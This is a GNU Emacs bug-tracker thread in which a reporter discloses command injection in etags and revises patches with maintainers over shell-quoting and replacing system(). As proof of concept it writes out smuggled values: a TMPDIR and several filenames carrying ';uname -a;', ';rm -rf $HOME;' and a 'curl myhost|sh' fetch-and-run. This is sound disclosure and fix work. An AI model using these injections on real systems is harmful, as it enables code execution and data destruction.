bug#59817: [PATCH] Fix etags local command injection vulnerability

bug#59817: [PATCH] Fix etags local command injection vulnerability

[lux]

[-- Attachment #1: Type: text/plain, Size: 1827 bytes --]

Hi, this patch fix a new local command injection vulnerability in the
etags.c.

This vulnerability occurs in the following code:

	#if MSDOS || defined (DOS_NT)
		 char *cmd1 = concat (compr->command, " \"", real_name);
		 char *cmd = concat (cmd1, "\" > ", tmp_name);
	#else
		 char *cmd1 = concat (compr->command, " '", real_name);
		 char *cmd = concat (cmd1, "' > ", tmp_name);
	#endif
		 free (cmd1);
		 inf = (system (cmd) == -1
		        ? NULL
		        : fopen (tmp_name, "r" FOPEN_BINARY));
		 free (cmd);
	       }

Vulnerability #1:

for tmp_name variable, the value from the etags_mktmp() function, this
function takes the value from the environment variable `TMPDIR`, `TEMP`
or `TMP`, but without checking the value. So, if then hacker can
control these environment variables, can execute the shell code.

Attack example:

$ ls
etags.c
$ zip etags.z etags.c
  adding: etags.c (deflated 72%)
$ tmpdir="/tmp/;uname -a;/"
$ mkdir $tmpdir
$ TMPDIR=$tmpdir etags *
sh: line 1: /tmp/: Is a directory
Linux mypc 6.0.10-300.fc37.x86_64 #1 SMP PREEMPT_DYNAMIC Sat Nov 26
16:55:13 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux sh: line 1: /etECggCJ:
No such file or directory etags: skipping inclusion of TAGS in self.

Vulnerability #2:

If the target file is a compressed file, execute system commands (such
as gzip, etc.), but do not check the file name. 

Attack example:

$ ls
etags.c
$ zip "';uname -a;'test.z" etags.c  <--- inject the shell code to
filename
adding: etags.c (deflated 72%)
$ etags *
gzip: .gz: No such file or directory
Linux mypc 6.0.10-300.fc37.x86_64 #1 SMP PREEMPT_DYNAMIC Sat Nov 26
16:55:13 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux sh: line 1: test.z:
command not found

I fix this vulnerability. By create a process, instead of call the
sh or cmd.exe, and this patch work the Linux, BSD and Windows.

[-- Attachment #2: 0001-Fix-etags-local-command-injection-vulnerability.patch --]
[-- Type: text/x-patch, Size: 6233 bytes --]

From 30cec9dcbd67998ce2360d191044e8d97992f794 Mon Sep 17 00:00:00 2001
From: lu4nx <lx@shellcodes.org>
Date: Sun, 4 Dec 2022 21:18:29 +0800
Subject: [PATCH] Fix etags local command injection vulnerability

* lib-src/etags.c:

(decompress_file): New function
---
 lib-src/etags.c | 155 +++++++++++++++++++++++++++++++++++++-----------
 1 file changed, 121 insertions(+), 34 deletions(-)

diff --git a/lib-src/etags.c b/lib-src/etags.c
index d1d20858cd..7c5faf8d6b 100644
--- a/lib-src/etags.c
+++ b/lib-src/etags.c
@@ -97,6 +97,7 @@ Copyright (C) 1984, 1987-1989, 1993-1995, 1998-2022 Free Software
 
 #ifdef WINDOWSNT
 # include <direct.h>
+# include <windows.h>
 # undef HAVE_NTGUI
 # undef  DOS_NT
 # define DOS_NT
@@ -124,6 +125,7 @@ Copyright (C) 1984, 1987-1989, 1993-1995, 1998-2022 Free Software
 #include <assert.h>
 #include <getopt.h>
 #include <regex.h>
+#include <sys/wait.h>
 
 /* Define CTAGS to make the program "ctags" compatible with the usual one.
  Leave it undefined to make the program "etags", which makes emacs-style
@@ -255,7 +257,7 @@ #define xrnew(op, n, m) ((op) = xnrealloc (op, n, (m) * sizeof *(op)))
 typedef struct
 {
   const char *suffix;           /* file name suffix for this compressor */
-  const char *command;		/* takes one arg and decompresses to stdout */
+  const char *command;		/* uncompress command */
 } compressor;
 
 typedef struct
@@ -391,6 +393,7 @@ #define xrnew(op, n, m) ((op) = xnrealloc (op, n, (m) * sizeof *(op)))
 static _Noreturn void pfatal (const char *);
 static void add_node (node *, node **);
 
+static bool decompress_file (const char *, const char *, const char *);
 static void process_file_name (char *, language *);
 static void process_file (FILE *, char *, language *);
 static void find_entries (FILE *);
@@ -527,16 +530,16 @@ #define STDIN 0x1001		/* returned by getopt_long on --parse-stdin */
 };
 
 static compressor compressors[] =
-{
-  { "z", "gzip -d -c"},
-  { "Z", "gzip -d -c"},
-  { "gz", "gzip -d -c"},
-  { "GZ", "gzip -d -c"},
-  { "bz2", "bzip2 -d -c" },
-  { "xz", "xz -d -c" },
-  { "zst", "zstd -d -c" },
-  { NULL }
-};
+  {
+    { "z", "gzip" },
+    { "Z", "gzip" },
+    { "gz", "gzip" },
+    { "GZ", "gzip" },
+    { "bz2", "bzip2" },
+    { "xz", "xz" },
+    { "zst", "zstd" },
+    { NULL }
+  };
 
 /*
  * Language stuff.
@@ -1621,7 +1624,6 @@ process_file_name (char *file, language *lang)
   compressor *compr;
   char *compressed_name, *uncompressed_name;
   char *ext, *real_name UNINIT, *tmp_name UNINIT;
-  int retval;
 
   canonicalize_filename (file);
   if (streq (file, tagfile) && !streq (tagfile, "-"))
@@ -1712,37 +1714,29 @@ process_file_name (char *file, language *lang)
 	inf = NULL;
       else
 	{
-#if MSDOS || defined (DOS_NT)
-	  char *cmd1 = concat (compr->command, " \"", real_name);
-	  char *cmd = concat (cmd1, "\" > ", tmp_name);
-#else
-	  char *cmd1 = concat (compr->command, " '", real_name);
-	  char *cmd = concat (cmd1, "' > ", tmp_name);
-#endif
-	  free (cmd1);
-	  inf = (system (cmd) == -1
-		 ? NULL
-		 : fopen (tmp_name, "r" FOPEN_BINARY));
-	  free (cmd);
-	}
-
-      if (!inf)
-	{
-	  perror (real_name);
-	  goto cleanup;
+          inf = (!decompress_file (compr->command, real_name, tmp_name)
+                 ? NULL
+                 : fopen (tmp_name, "r" FOPEN_BINARY));
+          if (!inf)
+            {
+              perror (real_name);
+              goto cleanup;
+            }
 	}
     }
 
   process_file (inf, uncompressed_name, lang);
 
-  retval = fclose (inf);
+  if (fclose (inf) < 0)
+    pfatal (file);
+
   if (real_name == compressed_name)
     {
-      remove (tmp_name);
+      if (remove (tmp_name) == -1)
+        pfatal (tmp_name);
+
       free (tmp_name);
     }
-  if (retval < 0)
-    pfatal (file);
 
  cleanup:
   if (compressed_name != file)
@@ -1754,6 +1748,99 @@ process_file_name (char *file, language *lang)
   return;
 }
 
+/*
+ * Specify a decompression command and write the decompression content to a new file.
+ * On success, true is returned.
+ */
+static bool
+decompress_file (const char *command, const char *input_file, const char *output_file)
+{
+#ifdef DOS_NT
+  SECURITY_ATTRIBUTES sa;
+  sa.nLength = sizeof (SECURITY_ATTRIBUTES);
+  sa.lpSecurityDescriptor = NULL;
+  sa.bInheritHandle = true;
+
+  HANDLE hFile = CreateFile (output_file, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_DELETE, &sa, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
+
+  if (hFile == INVALID_HANDLE_VALUE)
+    {
+      perror (output_file);
+      return false;
+    }
+
+  PROCESS_INFORMATION pi;
+  STARTUPINFO si;
+  ZeroMemory (&si, sizeof (si));
+  ZeroMemory (&pi, sizeof (pi));
+  si.cb = sizeof (STARTUPINFO);
+  si.dwFlags = STARTF_USESTDHANDLES;
+  si.hStdInput = NULL;
+  si.hStdOutput = hFile;
+  si.wShowWindow = SW_HIDE;
+
+  char *cmd = concat (command, " -d -c ", input_file);
+  if (!CreateProcess (NULL, cmd, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi))
+    {
+      perror ("CreateProcess error");
+      return false;
+    }
+
+  WaitForSingleObject(pi.hProcess, INFINITE);
+
+  CloseHandle (pi.hProcess);
+  CloseHandle (pi.hThread);
+  CloseHandle (hFile);
+  return true;
+#else
+  int out_f;
+  if ((out_f = open (output_file, O_CREAT | O_WRONLY)) == -1)
+    {
+      perror (output_file);
+      return false;
+    }
+
+  pid_t pid = fork ();
+  if (pid == -1)
+    {
+      perror ("fork");
+      return false;
+    }
+
+  if (pid == 0)
+    {
+      if (dup2 (out_f, STDOUT_FILENO) == -1)
+        {
+          perror ("dup2 stdout error");
+          exit (EXIT_FAILURE);
+        }
+
+      char *command_args[] = { (char *) command, (char *) "-d", (char *) "-c", (char *) input_file, NULL };
+      if (execvp (command, command_args) == -1)
+        {
+          perror ("cannot execute the decompress command");
+          exit (EXIT_FAILURE);
+        }
+
+      exit (EXIT_SUCCESS);
+    }
+
+  if (waitpid (pid, NULL, 0) == -1)
+    {
+      perror ("waitpid error");
+      return false;
+    }
+
+  if (close (out_f) == -1)
+    {
+      perror ("close error");
+      return false;
+    }
+
+  return true;
+#endif
+}
+
 static void
 process_file (FILE *fh, char *fn, language *lang)
 {
-- 
2.38.1

bug#59817: [PATCH] Fix etags local command injection vulnerability

[Eli Zaretskii]

> Date: Sun, 4 Dec 2022 21:51:13 +0800
> From: lux <lx@shellcodes.org>
> 
> Hi, this patch fix a new local command injection vulnerability in the
> etags.c.
> 
> This vulnerability occurs in the following code:
> 
> 	#if MSDOS || defined (DOS_NT)
> 		 char *cmd1 = concat (compr->command, " \"", real_name);
> 		 char *cmd = concat (cmd1, "\" > ", tmp_name);
> 	#else
> 		 char *cmd1 = concat (compr->command, " '", real_name);
> 		 char *cmd = concat (cmd1, "' > ", tmp_name);
> 	#endif
> 		 free (cmd1);
> 		 inf = (system (cmd) == -1
> 		        ? NULL
> 		        : fopen (tmp_name, "r" FOPEN_BINARY));
> 		 free (cmd);
> 	       }
> 
> Vulnerability #1:
> 
> for tmp_name variable, the value from the etags_mktmp() function, this
> function takes the value from the environment variable `TMPDIR`, `TEMP`
> or `TMP`, but without checking the value. So, if then hacker can
> control these environment variables, can execute the shell code.
> 
> Attack example:
> 
> $ ls
> etags.c
> $ zip etags.z etags.c
>   adding: etags.c (deflated 72%)
> $ tmpdir="/tmp/;uname -a;/"
> $ mkdir $tmpdir
> $ TMPDIR=$tmpdir etags *
> sh: line 1: /tmp/: Is a directory
> Linux mypc 6.0.10-300.fc37.x86_64 #1 SMP PREEMPT_DYNAMIC Sat Nov 26
> 16:55:13 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux sh: line 1: /etECggCJ:
> No such file or directory etags: skipping inclusion of TAGS in self.
> 
> Vulnerability #2:
> 
> If the target file is a compressed file, execute system commands (such
> as gzip, etc.), but do not check the file name. 
> 
> Attack example:
> 
> $ ls
> etags.c
> $ zip "';uname -a;'test.z" etags.c  <--- inject the shell code to
> filename
> adding: etags.c (deflated 72%)
> $ etags *
> gzip: .gz: No such file or directory
> Linux mypc 6.0.10-300.fc37.x86_64 #1 SMP PREEMPT_DYNAMIC Sat Nov 26
> 16:55:13 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux sh: line 1: test.z:
> command not found
> 
> I fix this vulnerability. By create a process, instead of call the
> sh or cmd.exe, and this patch work the Linux, BSD and Windows.

Thanks, but no, thanks.  This cure is worse than the disease.  Let's please
find simpler, more robust solutions.  It TMPDIR is a problem, let's use a
file whose name is hard-coded in the etags.c source, or quote the name when
we pass it to the shell.  If we suspect someone could disguise shell
commands as file names, let's quote the file names we pass to the shell with
'...' to prevent that.  Etc. etc. -- let's use simple solutions that don't
drastically change the code.

Please understand: etags is a stable program.  I'm not interested in changes
that modify its design or implementation in such drastic ways.

bug#59817: [PATCH] Fix etags local command injection vulnerability

[Stefan Kangas]

Eli Zaretskii <eliz@gnu.org> writes:

> Thanks, but no, thanks.  This cure is worse than the disease.  Let's please
> find simpler, more robust solutions.  It TMPDIR is a problem, let's use a
> file whose name is hard-coded in the etags.c source, or quote the name when
> we pass it to the shell.  If we suspect someone could disguise shell
> commands as file names, let's quote the file names we pass to the shell with
> '...' to prevent that.  Etc. etc. -- let's use simple solutions that don't
> drastically change the code.

With single quotes, every single quote character also needs to be quoted
so you can't just use a file named "';rm -rf $HOME;'".

So you need to substitute every single quote character with something like

    ' => '"'"'

I'm not sure if tricks to escape it will remain, but "man sh" promises:

   Single Quotes
     Enclosing characters in single quotes preserves the literal meaning
     of all the characters (except single quotes, making it impossible
     to put single-quotes in a single-quoted string).

The safest option is to just not call system, of course.

bug#59817: [PATCH] Fix etags local command injection vulnerability

[Eli Zaretskii]

> From: Stefan Kangas <stefankangas@gmail.com>
> Date: Sun, 4 Dec 2022 08:27:14 -0800
> Cc: 59817@debbugs.gnu.org
> 
> Eli Zaretskii <eliz@gnu.org> writes:
> 
> > Thanks, but no, thanks.  This cure is worse than the disease.  Let's please
> > find simpler, more robust solutions.  It TMPDIR is a problem, let's use a
> > file whose name is hard-coded in the etags.c source, or quote the name when
> > we pass it to the shell.  If we suspect someone could disguise shell
> > commands as file names, let's quote the file names we pass to the shell with
> > '...' to prevent that.  Etc. etc. -- let's use simple solutions that don't
> > drastically change the code.
> 
> With single quotes, every single quote character also needs to be quoted
> so you can't just use a file named "';rm -rf $HOME;'".

Yes.  But still, doing so is hardly rocket science, and it leaves the
general design of etags.c intact.

> The safest option is to just not call system, of course.

I'd rather not go there unless it was really necessary.

bug#59817: [PATCH] Fix etags local command injection vulnerability

[Eli Zaretskii]

[Please use Reply All to keep the bug tracker CC'ed.]

> Date: Mon, 5 Dec 2022 08:56:43 +0800
> From: lux <lx@shellcodes.org>
> 
> > Please understand: etags is a stable program.  I'm not interested in
> > changes that modify its design or implementation in such drastic ways.
> 
> I understand, but not completely agree, stable != security.

There are ways to plug the security holes in this case without completely
rewriting large parts of the code.

> Why use the system() function? This is a lazy, insecure little trick,
> the exec*(such as execvp) function should be used first. We need
> execute a command, but we don't need execute a shell script.

I think you have a very idealized view of the alternative APIs.  They don't
share some disadvantages with 'system', but they have plenty of their own
ones.  Especially on non-Posix systems.

> Example a case, In my team, some people like automatically pull new
> code from code server, and use etags update tags, so I secretly uploaded
> a new file, the file name is:
> 
> $ touch "';curl myhost|sh #'a.z"
> 
> when he automatically update the tags, I hacking his computer.

Quoting should fix that.

> So, I have two suggestions:
> 
> 1. don't use system(), unless know what are doing.

I don't see a reason in this case to rewrite the code not to use 'system'.

> 2. escape all dangerous characters, just escaping quotes is not
> enough, the following characters can perform additional actions:
> 
> "$(ls)"
> "`ls`"
> "${SHELL}"
> "$SHELL"
> 
> I'm writing a new patch to escape dangerous characters, and test.

There's no reason to try detecting which characters are dangerous and which
aren't.  We should instead quote all the file names that come from outside
of the program, so that what's inside the quotes is interpreted verbatim.

bug#59817: [PATCH] Fix etags local command injection vulnerability

[lux]

[-- Attachment #1: Type: text/plain, Size: 334 bytes --]

On Mon, 05 Dec 2022 14:34:58 +0200
Eli Zaretskii <eliz@gnu.org> wrote:

> There's no reason to try detecting which characters are dangerous and
> which aren't.  We should instead quote all the file names that come
> from outside of the program, so that what's inside the quotes is
> interpreted verbatim.

Thanks, this is new patch.


[-- Attachment #2: 0001-Fix-etags-local-command-injection-vulnerability.patch --]
[-- Type: text/x-patch, Size: 2794 bytes --]

From 3ba143533d74d4caf59a192de6cab4a130140ce7 Mon Sep 17 00:00:00 2001
From: lu4nx <lx@shellcodes.org>
Date: Tue, 6 Dec 2022 15:42:40 +0800
Subject: [PATCH] Fix etags local command injection vulnerability

* lib-src/etags.c:

(escape_shell_arg_string): New function.
---
 lib-src/etags.c | 58 +++++++++++++++++++++++++++++++++++++++++++++++--
 1 file changed, 56 insertions(+), 2 deletions(-)

diff --git a/lib-src/etags.c b/lib-src/etags.c
index d1d20858cd..c3ecbc2221 100644
--- a/lib-src/etags.c
+++ b/lib-src/etags.c
@@ -401,6 +401,7 @@ #define xrnew(op, n, m) ((op) = xnrealloc (op, n, (m) * sizeof *(op)))
 static void put_entries (node *);
 static void cleanup_tags_file (char const * const, char const * const);
 
+static char* escape_shell_arg_string (char *);
 static void do_move_file (const char *, const char *);
 static char *concat (const char *, const char *, const char *);
 static char *skip_spaces (char *);
@@ -1716,8 +1717,12 @@ process_file_name (char *file, language *lang)
 	  char *cmd1 = concat (compr->command, " \"", real_name);
 	  char *cmd = concat (cmd1, "\" > ", tmp_name);
 #else
-	  char *cmd1 = concat (compr->command, " '", real_name);
-	  char *cmd = concat (cmd1, "' > ", tmp_name);
+          char *new_real_name = escape_shell_arg_string (real_name);
+          char *new_tmp_name = escape_shell_arg_string (tmp_name);
+          char *cmd1 = concat (compr->command, " ", new_real_name);
+          char *cmd = concat (cmd1, " > ", new_tmp_name);
+          free (new_real_name);
+          free (new_tmp_name);
 #endif
 	  free (cmd1);
 	  inf = (system (cmd) == -1
@@ -7707,6 +7712,55 @@ etags_mktmp (void)
   return templt;
 }
 
+/*
+ * Adds single quotes around a string, if found single quotes, escaped it.
+ * Return a newly-allocated string.
+ *
+ * For example:
+ * escape_shell_arg_string("test.txt") => 'test.txt'
+ * escape_shell_arg_string("'test.txt") => ''\''test.txt'
+ */
+static char*
+escape_shell_arg_string (char *str)
+{
+  char *p = str;
+  int need_space = 2;           /* ' at begin and end */
+
+  while (*p != '\0')
+    {
+      if (*p == '\'')
+        need_space += 4;        /* ' to '\'', length is 4 */
+      else
+        need_space++;
+
+      p++;
+    }
+
+  char *new_str = xnew (need_space + 1, char);
+  new_str[0] = '\'';
+  new_str[need_space-1] = '\'';
+
+  int i = 1;                    /* skip first byte */
+  p = str;
+  while (*p != '\0')
+    {
+      new_str[i] = *p;
+      if (*p == '\'')
+        {
+          new_str[i+1] = '\\';
+          new_str[i+2] = '\'';
+          new_str[i+3] = '\'';
+          i += 3;
+        }
+
+      i++;
+      p++;
+    }
+
+  new_str[need_space] = '\0';
+  return new_str;
+}
+
 static void
 do_move_file(const char *src_file, const char *dst_file)
 {
-- 
2.38.1

bug#59817: [PATCH] Fix etags local command injection vulnerability

[Eli Zaretskii]

> Date: Tue, 6 Dec 2022 15:48:10 +0800
> From: lux <lx@shellcodes.org>
> Cc: Stefan Kangas <stefankangas@gmail.com>, 59817@debbugs.gnu.org
> 
> @@ -1716,8 +1717,12 @@ process_file_name (char *file, language *lang)
>  	  char *cmd1 = concat (compr->command, " \"", real_name);
>  	  char *cmd = concat (cmd1, "\" > ", tmp_name);
>  #else
> -	  char *cmd1 = concat (compr->command, " '", real_name);
> -	  char *cmd = concat (cmd1, "' > ", tmp_name);
> +          char *new_real_name = escape_shell_arg_string (real_name);
> +          char *new_tmp_name = escape_shell_arg_string (tmp_name);
> +          char *cmd1 = concat (compr->command, " ", new_real_name);
> +          char *cmd = concat (cmd1, " > ", new_tmp_name);
> +          free (new_real_name);
> +          free (new_tmp_name);
>  #endif

The "MSDOS || DOS_NT" case also needs a small change:

>  	  char *cmd = concat (cmd1, "\" > ", tmp_name);

This doesn't quote tmp_name; it should.

> +static char*
             ^^
There should be a space before "*".

> +      if (*p == '\'')
> +        {
> +          new_str[i+1] = '\\';
> +          new_str[i+2] = '\'';
> +          new_str[i+3] = '\'';
> +          i += 3;

I don't understand why you are adding ''\'' and not just \'.  Wouldn't the
latter work for some reason?

Thanks.

bug#59817: [PATCH] Fix etags local command injection vulnerability

[lux]

[-- Attachment #1: Type: text/plain, Size: 1086 bytes --]

On Tue, 06 Dec 2022 14:55:09 +0200
Eli Zaretskii <eliz@gnu.org> wrote:

> The "MSDOS || DOS_NT" case also needs a small change:
> 
> >  	  char *cmd = concat (cmd1, "\" > ", tmp_name);  
> 
> This doesn't quote tmp_name; it should.

Because double quotes have been used here, I have not reproduced this
vulnerability in Windows, so I have not dealt:

$ touch "etags.c\" && ipconfig \".z"
$ ./etags.exe "etags.c\" && ipconfig \".z"
etags.c" && ipconfig ".z: Invalid argument
$ ./etags.exe *
etags.exe: skipping inclusion of TAGS in self.
etags.c" && ipconfig ".z: Invalid argument

> > +static char*  
>              ^^
> There should be a space before "*".

done.

> 
> > +      if (*p == '\'')
> > +        {
> > +          new_str[i+1] = '\\';
> > +          new_str[i+2] = '\'';
> > +          new_str[i+3] = '\'';
> > +          i += 3;  
> 
> I don't understand why you are adding ''\'' and not just \'.
> Wouldn't the latter work for some reason?
> 

Because the single quote escape is: '\''

$ echo ''\''hello world'\'''
'hello world'
$ echo 'I'\''m a poor man'
I'm a poor man



[-- Attachment #2: 0001-Fix-etags-local-command-injection-vulnerability.patch --]
[-- Type: text/x-patch, Size: 2795 bytes --]

From e182ffe325c882696e20d6e7f8fcbefe82198748 Mon Sep 17 00:00:00 2001
From: lu4nx <lx@shellcodes.org>
Date: Tue, 6 Dec 2022 15:42:40 +0800
Subject: [PATCH] Fix etags local command injection vulnerability

* lib-src/etags.c:

(escape_shell_arg_string): New function.
---
 lib-src/etags.c | 58 +++++++++++++++++++++++++++++++++++++++++++++++--
 1 file changed, 56 insertions(+), 2 deletions(-)

diff --git a/lib-src/etags.c b/lib-src/etags.c
index d1d20858cd..519829ec79 100644
--- a/lib-src/etags.c
+++ b/lib-src/etags.c
@@ -401,6 +401,7 @@ #define xrnew(op, n, m) ((op) = xnrealloc (op, n, (m) * sizeof *(op)))
 static void put_entries (node *);
 static void cleanup_tags_file (char const * const, char const * const);
 
+static char *escape_shell_arg_string (char *);
 static void do_move_file (const char *, const char *);
 static char *concat (const char *, const char *, const char *);
 static char *skip_spaces (char *);
@@ -1716,8 +1717,12 @@ process_file_name (char *file, language *lang)
 	  char *cmd1 = concat (compr->command, " \"", real_name);
 	  char *cmd = concat (cmd1, "\" > ", tmp_name);
 #else
-	  char *cmd1 = concat (compr->command, " '", real_name);
-	  char *cmd = concat (cmd1, "' > ", tmp_name);
+          char *new_real_name = escape_shell_arg_string (real_name);
+          char *new_tmp_name = escape_shell_arg_string (tmp_name);
+          char *cmd1 = concat (compr->command, " ", new_real_name);
+          char *cmd = concat (cmd1, " > ", new_tmp_name);
+          free (new_real_name);
+          free (new_tmp_name);
 #endif
 	  free (cmd1);
 	  inf = (system (cmd) == -1
@@ -7707,6 +7712,55 @@ etags_mktmp (void)
   return templt;
 }
 
+/*
+ * Adds single quotes around a string, if found single quotes, escaped it.
+ * Return a newly-allocated string.
+ *
+ * For example:
+ * escape_shell_arg_string("test.txt") => 'test.txt'
+ * escape_shell_arg_string("'test.txt") => ''\''test.txt'
+ */
+static char *
+escape_shell_arg_string (char *str)
+{
+  char *p = str;
+  int need_space = 2;           /* ' at begin and end */
+
+  while (*p != '\0')
+    {
+      if (*p == '\'')
+        need_space += 4;        /* ' to '\'', length is 4 */
+      else
+        need_space++;
+
+      p++;
+    }
+
+  char *new_str = xnew (need_space + 1, char);
+  new_str[0] = '\'';
+  new_str[need_space-1] = '\'';
+
+  int i = 1;                    /* skip first byte */
+  p = str;
+  while (*p != '\0')
+    {
+      new_str[i] = *p;
+      if (*p == '\'')
+        {
+          new_str[i+1] = '\\';
+          new_str[i+2] = '\'';
+          new_str[i+3] = '\'';
+          i += 3;
+        }
+
+      i++;
+      p++;
+    }
+
+  new_str[need_space] = '\0';
+  return new_str;
+}
+
 static void
 do_move_file(const char *src_file, const char *dst_file)
 {
-- 
2.38.1

bug#59817: [PATCH] Fix etags local command injection vulnerability

[Eli Zaretskii]

> Date: Tue, 6 Dec 2022 21:11:35 +0800
> From: lux <lx@shellcodes.org>
> Cc: stefankangas@gmail.com, 59817@debbugs.gnu.org
> 
> On Tue, 06 Dec 2022 14:55:09 +0200
> Eli Zaretskii <eliz@gnu.org> wrote:
> 
> > The "MSDOS || DOS_NT" case also needs a small change:
> > 
> > >  	  char *cmd = concat (cmd1, "\" > ", tmp_name);  
> > 
> > This doesn't quote tmp_name; it should.
> 
> Because double quotes have been used here

The double quotes are only around real_name, but not around tmp_name.  One
of the issues you originally described was a bogus value of the TEMP
environment variable, which gets used in etags_mktmp that produces tmp_name.

> I have not reproduced this
> vulnerability in Windows, so I have not dealt:
> 
> $ touch "etags.c\" && ipconfig \".z"
> $ ./etags.exe "etags.c\" && ipconfig \".z"
> etags.c" && ipconfig ".z: Invalid argument

Windows file names cannot include quote characters, so don't use them.  And
it's TEMP value that you need to tweak, not the file names etags scans.

> > I don't understand why you are adding ''\'' and not just \'.
> > Wouldn't the latter work for some reason?
> > 
> 
> Because the single quote escape is: '\''
> 
> $ echo ''\''hello world'\'''
> 'hello world'
> $ echo 'I'\''m a poor man'
> I'm a poor man

I don't understand why you need an extra pair of quotes in the expanded
string.

  $ echo \''hello; world'
  'hello; world

As you see, the semi-colon was successfully hidden from the shell.

What am I missing?

bug#59817: [PATCH] Fix etags local command injection vulnerability

[Francesco Potortì]

>I don't understand why you need an extra pair of quotes in the expanded
>string.
>
>  $ echo \''hello; world'
>  'hello; world
>
>As you see, the semi-colon was successfully hidden from the shell.
>
>What am I missing?

That only works at the beginning or end of a string.  In general, inside a single-quoted string, single quotes are not allowed.  So, to include a single quote inside a single-quoted string, you have to:
- close the quoted string using '
- put a literal single quote usign \'
- reopen the quoted string using '

If you want to avoid checking for the special cases of a stray single string at beginning or end of the original string, you just quote everything qith a single quote at beginning and end, and then substitute each ' with '\''.

bug#59817: [PATCH] Fix etags local command injection vulnerability

[Francesco Potortì]

>I don't understand why you need an extra pair of quotes in the expanded
>string.
>
>  $ echo \''hello; world'
>  'hello; world
>
>As you see, the semi-colon was successfully hidden from the shell.
>
>What am I missing?

That only works at the beginning or end of a string.  In general, inside a single-quoted string, single quotes are not allowed.  So, to include a single quote inside a single-quoted string, you have to:
- close the quoted string using '
- put a literal single quote usign \'
- reopen the quoted string using '

If you want to avoid checking for the special cases of a stray single string at beginning or end of the original string, you just quote everything qith a single quote at beginning and end, and then substitute each ' with '\''.

bug#59817: [PATCH] Fix etags local command injection vulnerability

[lux]

[-- Attachment #1: Type: text/plain, Size: 916 bytes --]

On Tue, 06 Dec 2022 16:52:40 +0200
Eli Zaretskii <eliz@gnu.org> wrote:

> Windows file names cannot include quote characters, so don't use
> them.  And it's TEMP value that you need to tweak, not the file names
> etags scans.

Thank you, fixed.
 
> I don't understand why you need an extra pair of quotes in the
> expanded string.
> 
>   $ echo \''hello; world'
>   'hello; world
> 
> As you see, the semi-colon was successfully hidden from the shell.
> 
> What am I missing?

$ echo Emacs > "'hello'world"
$ cat '\''hello\''world'     <---- use \'', error
cat: '\hello\world': No such file or directory
$ cat ''\''hello'\''world'    <---- use '\''
Emacs

You can also refer to:

1.
https://stackoverflow.com/questions/48970174/escape-single-quote-in-command-argument-to-sh-c

2. And I found a similar function in PHP:

$ cat test.php
<?php
	echo escapeshellarg("'hello'world");

$ php test.php
''\''hello'\''world'

[-- Attachment #2: 0001-Fix-etags-local-command-injection-vulnerability.patch --]
[-- Type: text/x-patch, Size: 3220 bytes --]

From d1dd12396b7d99ff93e6a846c96ae600addac847 Mon Sep 17 00:00:00 2001
From: lu4nx <lx@shellcodes.org>
Date: Tue, 6 Dec 2022 15:42:40 +0800
Subject: [PATCH] Fix etags local command injection vulnerability

* lib-src/etags.c:

(escape_shell_arg_string): New function.
---
 lib-src/etags.c | 63 +++++++++++++++++++++++++++++++++++++++++++++----
 1 file changed, 58 insertions(+), 5 deletions(-)

diff --git a/lib-src/etags.c b/lib-src/etags.c
index d1d20858cd..ba0092cc63 100644
--- a/lib-src/etags.c
+++ b/lib-src/etags.c
@@ -401,6 +401,7 @@ #define xrnew(op, n, m) ((op) = xnrealloc (op, n, (m) * sizeof *(op)))
 static void put_entries (node *);
 static void cleanup_tags_file (char const * const, char const * const);
 
+static char *escape_shell_arg_string (char *);
 static void do_move_file (const char *, const char *);
 static char *concat (const char *, const char *, const char *);
 static char *skip_spaces (char *);
@@ -1713,13 +1714,16 @@ process_file_name (char *file, language *lang)
       else
 	{
 #if MSDOS || defined (DOS_NT)
-	  char *cmd1 = concat (compr->command, " \"", real_name);
-	  char *cmd = concat (cmd1, "\" > ", tmp_name);
+          int buf_len = strlen (compr->command) + strlen (" \"\" > \"\"") + strlen (real_name) + strlen (tmp_name) + 1;
+          char *cmd = xmalloc (buf_len);
+          snprintf (cmd, buf_len, "%s \"%s\" > \"%s\"", compr->command, real_name, tmp_name);
 #else
-	  char *cmd1 = concat (compr->command, " '", real_name);
-	  char *cmd = concat (cmd1, "' > ", tmp_name);
+          char *new_real_name = escape_shell_arg_string (real_name);
+          char *new_tmp_name = escape_shell_arg_string (tmp_name);
+          int buf_len = strlen (compr->command) + strlen ("  > ") + strlen (new_real_name) + strlen (new_tmp_name) + 1;
+          char *cmd = xmalloc (buf_len);
+          snprintf (cmd, buf_len, "%s %s > %s", compr->command, new_real_name, new_tmp_name);
 #endif
-	  free (cmd1);
 	  inf = (system (cmd) == -1
 		 ? NULL
 		 : fopen (tmp_name, "r" FOPEN_BINARY));
@@ -7707,6 +7711,55 @@ etags_mktmp (void)
   return templt;
 }
 
+/*
+ * Adds single quotes around a string, if found single quotes, escaped it.
+ * Return a newly-allocated string.
+ *
+ * For example:
+ * escape_shell_arg_string("test.txt") => 'test.txt'
+ * escape_shell_arg_string("'test.txt") => ''\''test.txt'
+ */
+static char *
+escape_shell_arg_string (char *str)
+{
+  char *p = str;
+  int need_space = 2;           /* ' at begin and end */
+
+  while (*p != '\0')
+    {
+      if (*p == '\'')
+        need_space += 4;        /* ' to '\'', length is 4 */
+      else
+        need_space++;
+
+      p++;
+    }
+
+  char *new_str = xnew (need_space + 1, char);
+  new_str[0] = '\'';
+  new_str[need_space-1] = '\'';
+
+  int i = 1;                    /* skip first byte */
+  p = str;
+  while (*p != '\0')
+    {
+      new_str[i] = *p;
+      if (*p == '\'')
+        {
+          new_str[i+1] = '\\';
+          new_str[i+2] = '\'';
+          new_str[i+3] = '\'';
+          i += 3;
+        }
+
+      i++;
+      p++;
+    }
+
+  new_str[need_space] = '\0';
+  return new_str;
+}
+
 static void
 do_move_file(const char *src_file, const char *dst_file)
 {
-- 
2.38.1

bug#59817: [PATCH] Fix etags local command injection vulnerability

[Eli Zaretskii]

> Date: Tue, 6 Dec 2022 23:49:05 +0800
> From: lux <lx@shellcodes.org>
> Cc: stefankangas@gmail.com, 59817@debbugs.gnu.org
> 
> >From d1dd12396b7d99ff93e6a846c96ae600addac847 Mon Sep 17 00:00:00 2001
> From: lu4nx <lx@shellcodes.org>
> Date: Tue, 6 Dec 2022 15:42:40 +0800
